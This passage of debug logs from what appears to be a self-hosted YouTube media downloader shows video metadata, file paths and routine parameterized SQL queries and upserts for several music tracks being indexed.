(Self-Cover)【FUWAMOCO】[pR8SM92aC0U].m4a", "id" => "pR8SM92aC0U", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=pR8SM92aC0U", "playlist_index" => 36, "timestamp" => 1761887707, "title" => "【MV】Prisoner/hololive English Advent (Self-Cover)【FUWAMOCO】", "upload_date" => "20251031"} 22:22:37.679 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=860.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:37.680 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=860.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:37.681 [debug] QUERY OK source="media_items" db=0.3ms idle=861.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-31 05:15:07Z], 1] 22:22:37.922 [debug] QUERY OK source="media_items" db=239.9ms idle=861.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["our chains will bind you here forever 🐾⛓️ \n\n(∪・ω・∪ ♡::::::::::::::::♡ ∪・ω・∪)\nOriginal Song: hololive English Advent\nVocals: FUWAMOCO\nMix: はまひろ\nArt: Hyde\nMovie: オムカ\nOriginal: https://www.youtube.com/watch?v=YDyrIDHAdDY\n\n(∪・ω・∪ ♡::::::::::::::::♡ ∪・ω・∪)\n\n#holoAdvent\n#hololiveEnglish\n---------------------------------------------\nCorrection:\nThe lyric \"Locked away where nightmares keep you awake\" were mistakenly sung \"Locked away when nightmares keep you awake\". We apologize for the mistake!\n---------------------------------------------\n\n(∪・ω・∪ ♡::::::::::::::::♡ ∪・ω・∪)\n#FUWAMOCO (配信)\n#FWMCpix (絵)\n#helpFWMC (リクエスト/素材/Q&A用)\n#lilFWMC (切り抜き)\n#FWMCbeats (音楽)\n#FWMCwww (ミーム)\n#FWMCMORNING (バラエティ番組)\n\n≪TWITTER≫\nhttps://twitter.com/fuwamoco_en\n@FUWAMOCOch\n\n≪(∪・ω・∪ ♡::::::::::::::::♡ ∪・ω・∪)≫\n\n♡ RULES ♡\n\n・Be nice to other viewers and treat everyone with respect! Let’s make a loving community! ♡\n・All forms of hate, discrimination, harassment, and trolling are not permitted. \n・Don’t bring up other channels or streams unless they are mentioned by FUWAMOCO. \n・No spoilers please, but feel free to give advice when asked! \n・Please limit comments unrelated to FUWAMOCO or spam so that we can read your comments!\n・Chat prior to the start of the stream is fine as long as it’s related to the stream. \n・Most importantly, have fun!! We need your smile to protect! BAU BAU!! 🐾\n\n≪(∪・ω・∪三∪・ω・∪)≫\n[Fan Work Guidelines]\nhttps://en.hololive.tv/terms\n≪(∪・ω・∪三∪・ω・∪)≫\nRequest from hololive Production to underage viewers:\nPlease be sure to check the link below before viewing our content.\nhttps://en.hololive.tv/request-to-minors\n≪(∪・ω・∪三∪・ω・∪)≫\n[Official Online Shop]\nhttps://shop.hololivepro.com/en\n[Holoschedule] (Check all members streaming schedules)\nhttps://schedule.hololive.tv/#hololive\n≪(∪・ω・∪三∪・ω・∪)≫\n[Hololive Production]\n・Hololive English YouTube Channel: https://t.co/LcYDgFF9V0?amp=1\n・Hololive Production Official Twitter: https://twitter.com/hololivetv\n・Hololive English Official Twitter: https://twitter.com/hololive_En\n・Hololive English Official Reddit: https://www.reddit.com/r/Hololive/", "【MV】Prisoner/hololive English Advent (Self-Cover)【FUWAMOCO】", "71fc329a-7126-4327-a0eb-cad8e5260838", false, "pR8SM92aC0U", 176, false, "https://www.youtube.com/watch?v=pR8SM92aC0U", 36, "/downloads/Nightcore/Nightcore/2025-10-31【MV】Prisoner/hololive English Advent (Self-Cover)【FUWAMOCO】[pR8SM92aC0U].m4a", false, false, 1, [], 1, ~U[2025-10-31 05:15:07Z], ~U[2026-07-24 02:22:37Z], ~U[2026-07-24 02:22:37Z], "our chains will bind you here forever 🐾⛓️ \n\n(∪・ω・∪ ♡::::::::::::::::♡ ∪・ω・∪)\nOriginal Song: hololive English Advent\nVocals: FUWAMOCO\nMix: はまひろ\nArt: Hyde\nMovie: オムカ\nOriginal: https://www.youtube.com/watch?v=YDyrIDHAdDY\n\n(∪・ω・∪ ♡::::::::::::::::♡ ∪・ω・∪)\n\n#holoAdvent\n#hololiveEnglish\n---------------------------------------------\nCorrection:\nThe lyric \"Locked away where nightmares keep you awake\" were mistakenly sung \"Locked away when nightmares keep you awake\". We apologize for the mistake!\n---------------------------------------------\n\n(∪・ω・∪ ♡::::::::::::::::♡ ∪・ω・∪)\n#FUWAMOCO (配信)\n#FWMCpix (絵)\n#helpFWMC (リクエスト/素材/Q&A用)\n#lilFWMC (切り抜き)\n#FWMCbeats (音楽)\n#FWMCwww (ミーム)\n#FWMCMORNING (バラエティ番組)\n\n≪TWITTER≫\nhttps://twitter.com/fuwamoco_en\n@FUWAMOCOch\n\n≪(∪・ω・∪ ♡::::::::::::::::♡ ∪・ω・∪)≫\n\n♡ RULES ♡\n\n・Be nice to other viewers and treat everyone with respect! Let’s make a loving community! ♡\n・All forms of hate, discrimination, harassment, and trolling are not permitted. \n・Don’t bring up other channels or streams unless they are mentioned by FUWAMOCO. \n・No spoilers please, but feel free to give advice when asked! \n・Please limit comments unrelated to FUWAMOCO or spam so that we can read your comments!\n・Chat prior to the start of the stream is fine as long as it’s related to the stream. \n・Most importantly, have fun!! We need your smile to protect! BAU BAU!! 🐾\n\n≪(∪・ω・∪三∪・ω・∪)≫\n[Fan Work Guidelines]\nhttps://en.hololive.tv/terms\n≪(∪・ω・∪三∪・ω・∪)≫\nRequest from hololive Production to underage viewers:\nPlease be sure to check the link below before viewing our content.\nhttps://en.hololive.tv/request-to-minors\n≪(∪・ω・∪三∪・ω・∪)≫\n[Official Online Shop]\nhttps://shop.hololivepro.com/en\n[Holoschedule] (Check all members streaming schedules)\nhttps://schedule.hololive.tv/#hololive\n≪(∪・ω・∪三∪・ω・∪)≫\n[Hololive Production]\n・Hololive English YouTube Channel: https://t.co/LcYDgFF9V0?amp=1\n・Hololive Production Official Twitter: https://twitter.com/hololivetv\n・Hololive English Official Twitter: https://twitter.com/hololive_En\n・Hololive English Official Reddit: https://www.reddit.com/r/Hololive/", "【MV】Prisoner/hololive English Advent (Self-Cover)【FUWAMOCO】", "pR8SM92aC0U", 176, false, "https://www.youtube.com/watch?v=pR8SM92aC0U", "/downloads/Nightcore/Nightcore/2025-10-31【MV】Prisoner/hololive English Advent (Self-Cover)【FUWAMOCO】[pR8SM92aC0U].m4a", false, 1, ~U[2025-10-31 05:15:07Z]] 22:22:37.923 [debug] QUERY OK source="sources" db=0.3ms idle=490.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:37.923 [debug] QUERY OK source="media_profiles" db=0.2ms idle=243.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:37.923 [debug] QUERY OK source="media_items" db=0.2ms idle=242.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [36] 22:22:37.923 [debug] Current batch of media processed. Will check again in 1000ms 22:22:38.924 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#synthv #vocaloid #gumi\n\nWhere do queens go when everything is lost?\n\nThis is my first ever GUMI only song \\m/\n\nArrangement, Tuning and Video: kusabi\nArt: Nerukyuun\n\nTrack from the GUMANIA Rock and Metal album to release on 6.26.26!", "duration" => 246, "filename" => "/downloads/Nightcore/Nightcore/2026-05-22'DESCENT INTO MANIA' ⧸ GUMI SV2[dwPvXW-uSIs].m4a", "id" => "dwPvXW-uSIs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=dwPvXW-uSIs", "playlist_index" => 37, "timestamp" => 1779415206, "title" => "'DESCENT INTO MANIA' / GUMI SV2", "upload_date" => "20260522"} 22:22:38.925 [debug] QUERY OK source="sources" db=0.2ms idle=1003.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:38.925 [debug] QUERY OK source="sources" db=0.1ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:38.926 [debug] QUERY OK source="media_items" db=0.1ms idle=1002.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 02:00:06Z], 1] 22:22:39.205 [debug] QUERY OK source="media_items" db=278.7ms idle=1002.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#synthv #vocaloid #gumi\n\nWhere do queens go when everything is lost?\n\nThis is my first ever GUMI only song \\m/\n\nArrangement, Tuning and Video: kusabi\nArt: Nerukyuun\n\nTrack from the GUMANIA Rock and Metal album to release on 6.26.26!", "'DESCENT INTO MANIA' / GUMI SV2", "0d259c94-3e9b-44a0-8bbb-d9480e8e82a2", false, "dwPvXW-uSIs", 246, false, "https://www.youtube.com/watch?v=dwPvXW-uSIs", 37, "/downloads/Nightcore/Nightcore/2026-05-22'DESCENT INTO MANIA' ⧸ GUMI SV2[dwPvXW-uSIs].m4a", false, false, 1, [], 2, ~U[2026-05-22 02:00:06Z], ~U[2026-07-24 02:22:38Z], ~U[2026-07-24 02:22:38Z], "#synthv #vocaloid #gumi\n\nWhere do queens go when everything is lost?\n\nThis is my first ever GUMI only song \\m/\n\nArrangement, Tuning and Video: kusabi\nArt: Nerukyuun\n\nTrack from the GUMANIA Rock and Metal album to release on 6.26.26!", "'DESCENT INTO MANIA' / GUMI SV2", "dwPvXW-uSIs", 246, false, "https://www.youtube.com/watch?v=dwPvXW-uSIs", "/downloads/Nightcore/Nightcore/2026-05-22'DESCENT INTO MANIA' ⧸ GUMI SV2[dwPvXW-uSIs].m4a", false, 1, ~U[2026-05-22 02:00:06Z]] 22:22:39.205 [debug] QUERY OK source="sources" db=0.1ms idle=770.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:39.206 [debug] QUERY OK source="media_profiles" db=0.1ms idle=280.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:39.206 [debug] QUERY OK source="media_items" db=0.1ms idle=280.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [37] 22:22:39.206 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by DistroKid\n\nWe Don’t Talk Anymore (But it hits different) · The Nostal Days · Anne Deville · Ray Flynn\n\nWe Don’t Talk Anymore (But it hits different)\n\n℗ Kenke Records\n\nReleased on: 2026-04-17\n\nAuto-generated by YouTube.", "duration" => 209, "filename" => "/downloads/Nightcore/Nightcore/2026-07-17We Don’t Talk Anymore (But it hits different)[iAH23TPVAjQ].m4a", "id" => "iAH23TPVAjQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=iAH23TPVAjQ", "playlist_index" => 38, "timestamp" => 1784323349, "title" => "We Don’t Talk Anymore (But it hits different)", "upload_date" => "20260717"} 22:22:39.206 [debug] QUERY OK source="sources" db=0.1ms idle=280.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:39.207 [debug] QUERY OK source="sources" db=0.1ms idle=1.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:39.207 [debug] QUERY OK source="media_items" db=0.1ms idle=1.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-17 21:22:29Z], 1] 22:22:39.383 [debug] QUERY OK source="media_items" db=175.4ms idle=1.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by DistroKid\n\nWe Don’t Talk Anymore (But it hits different) · The Nostal Days · Anne Deville · Ray Flynn\n\nWe Don’t Talk Anymore (But it hits different)\n\n℗ Kenke Records\n\nReleased on: 2026-04-17\n\nAuto-generated by YouTube.", "We Don’t Talk Anymore (But it hits different)", "0ad4cd73-d663-45f9-8c52-266121c264b9", false, "iAH23TPVAjQ", 209, false, "https://www.youtube.com/watch?v=iAH23TPVAjQ", 38, "/downloads/Nightcore/Nightcore/2026-07-17We Don’t Talk Anymore (But it hits different)[iAH23TPVAjQ].m4a", false, false, 1, [], 1, ~U[2026-07-17 21:22:29Z], ~U[2026-07-24 02:22:39Z], ~U[2026-07-24 02:22:39Z], "Provided to YouTube by DistroKid\n\nWe Don’t Talk Anymore (But it hits different) · The Nostal Days · Anne Deville · Ray Flynn\n\nWe Don’t Talk Anymore (But it hits different)\n\n℗ Kenke Records\n\nReleased on: 2026-04-17\n\nAuto-generated by YouTube.", "We Don’t Talk Anymore (But it hits different)", "iAH23TPVAjQ", 209, false, "https://www.youtube.com/watch?v=iAH23TPVAjQ", "/downloads/Nightcore/Nightcore/2026-07-17We Don’t Talk Anymore (But it hits different)[iAH23TPVAjQ].m4a", false, 1, ~U[2026-07-17 21:22:29Z]] 22:22:39.384 [debug] QUERY OK source="sources" db=0.4ms idle=177.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:39.385 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=177.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:39.386 [debug] QUERY OK source="media_items" db=0.5ms idle=178.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [456] 22:22:39.386 [debug] Current batch of media processed. Will check again in 1000ms 22:22:40.386 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "I found my Way 2 U 💙\nStreaming: cover.lnk.to/7H7pTk\n\n🔽 💙 Way 2 U CP + LP (Vinyl) EP Available for Pre-Purchase NOW 💙 🔽\nSales end 2026/06/08 18:00 (JST) / 2026/06/08 02:00 AM PDT \nEN: https://shop.hololivepro.com/en/products/ourokronii_1step_way2u\nJP: https://shop.hololivepro.com/products/ourokronii_1step_way2u\n\n⭐ Get a Limited Edition Mystery Poster Individually Signed by Kronii on purchase ⭐\n\n 【Credits】\nMV: Riguruma (https://x.com/riguruma)\nMV Illustration: Mameng (https://x.com/brmameng)\nOutfit Design: Lyusiola (https://x.com/lyusiola)\nLogo Design: mi-mi (https://x.com/__mmkmm)\n\n【Way 2 U】\nLyrics: JALTO, Ouro Kronii\nComposition: JALTO\nArrangement: JALTO\nChoreography: Miyuki Nishijima\nEP Jacket Design: mi-mi\nEP Illustration: unripesaga / 사가 (https://x.com/unripesaga)\nOutfit Design: Lyusiola (https://x.com/lyusiola)\n\nThank you so much to each person on the superstar team behind this project, we couldn't have done it without you!\nAnd thank you kronies for all your patience and support!\n\nAdditional Crediting\nPyeongchang Peace Font & Pyeongchang Font\nThe intellectual property rights for the Pyeongchang Exclusive Font belong to Pyeongchang-gun.\n----------------------------------------------------------------------------\n\n[Fan Work Guidelines]\nhttps://en.hololive.tv/terms\n\nRequest from hololive Production to underage viewers:\nPlease be sure to check the link below before viewing our content.\nhttps://en.hololive.tv/request-to-minors\n\n----------------------------------------------------------------------------", "duration" => 120, "filename" => "/downloads/Nightcore/Nightcore/2026-05-28【Original Song MV】Way 2 U - Ouro Kronii[Kr2lbQwHQeY].m4a", "id" => "Kr2lbQwHQeY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Kr2lbQwHQeY", "playlist_index" => 39, "timestamp" => 1779926406, "title" => "【Original Song MV】Way 2 U - Ouro Kronii", "upload_date" => "20260528"} 22:22:40.387 [debug] QUERY OK source="sources" db=0.1ms idle=1004.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:40.387 [debug] QUERY OK source="sources" db=0.1ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:40.388 [debug] QUERY OK source="media_items" db=0.1ms idle=1002.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-28 00:00:06Z], 1] 22:22:40.671 [debug] QUERY OK source="media_items" db=282.5ms idle=1002.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["I found my Way 2 U 💙\nStreaming: cover.lnk.to/7H7pTk\n\n🔽 💙 Way 2 U CP + LP (Vinyl) EP Available for Pre-Purchase NOW 💙 🔽\nSales end 2026/06/08 18:00 (JST) / 2026/06/08 02:00 AM PDT \nEN: https://shop.hololivepro.com/en/products/ourokronii_1step_way2u\nJP: https://shop.hololivepro.com/products/ourokronii_1step_way2u\n\n⭐ Get a Limited Edition Mystery Poster Individually Signed by Kronii on purchase ⭐\n\n 【Credits】\nMV: Riguruma (https://x.com/riguruma)\nMV Illustration: Mameng (https://x.com/brmameng)\nOutfit Design: Lyusiola (https://x.com/lyusiola)\nLogo Design: mi-mi (https://x.com/__mmkmm)\n\n【Way 2 U】\nLyrics: JALTO, 